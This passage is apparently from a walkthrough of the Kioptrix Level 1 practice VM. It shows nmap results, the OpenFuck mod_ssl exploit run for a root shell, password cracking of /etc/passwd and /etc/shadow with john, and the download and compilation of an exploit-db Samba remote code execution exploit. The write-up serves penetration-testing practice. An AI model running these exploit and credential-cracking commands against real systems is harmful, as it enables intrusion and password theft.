Now at the http://192.168.1.104/usage/ there is Webalizer Version 2.01 created page, and search for the gives Webalizer 2.1.x Buffer Overflow vulnerabilty which Allows Remote Users to Execute Arbitrary Code on the Server via Reverse DNS Lookups. But i didn’t find any exploit for that. However there is an XSS vulnerability. To exploit this just send a curl request and attach payload on the referrer header which can be added to the http://192.168.1.104/usage/usage_DATE.html page. But this is not much useful.

Now try to exploit findings from nmap, which are :

22/tcp   open  ssh         OpenSSH 2.9p2 (protocol 1.99)
80/tcp   open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp  open  ssl/https   Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
1024/tcp open  status      1 (RPC #100024)

Searching for Apache 1.3.20 :

The above search lead to Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow and we can see that in our target server the ssl server version is 2.8.4 so we can try to exploit this buffer overflow. The exploit can be found at here : https://www.exploit-db.com/exploits/47080 (newer version). So first we download the exploit and follow the instruction given on that page :

$ ./OpenFuck | grep 1.3.20 | grep RedHat
    0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1
    0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2

$ ./OpenFuck 0x6b 192.168.1.104 443 -c 40

Try 2 to 3 times if exploit does not work (because the payload download a file ptrace-kmod.c from internet). We can get a root shell. Now from here we can get /etc/shadow and /etc/passwd file. Copy them on the system and try to crack the passwords of users with john.

$ unshadow passwdfile shadowfile > crack.passwd.db
$ john crack.passwd.db

Samba service

There is also samba service is running, (revealed by nmap scan). Now enumerating samba service :

unfortunately the above scan did not gave the version of samba so i am going to use metasploit auxiliary module to get the samba version

msf5 > search scanner/smb
msf5 > use auxiliary/scanner/smb/smb_version
msf5 auxiliary(scanner/smb/smb_version) > show options

Module options (auxiliary/scanner/smb/smb_version):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   RHOSTS                      yes       The target address range or CIDR identifier

   SMBPass                     no        The password for the specified username

[*] 192.168.1.104:445     - Scanned 1 of 1 hosts (100% complete)

The version of samba version is samba 2.2.1a, now by searching samba 2.2.1a vulnerability i found Samba < 2.2.8 (Linux/BSD) – Remote Code Execution exploit at https://www.exploit-db.com/exploits/10

Now from here download and try the exploit.

$ wget https://www.exploit-db.com/raw/10

$ gcc -o sambal sambal.c

and exploit works.

So we have to methods to get root shell in kioptrix1.1.
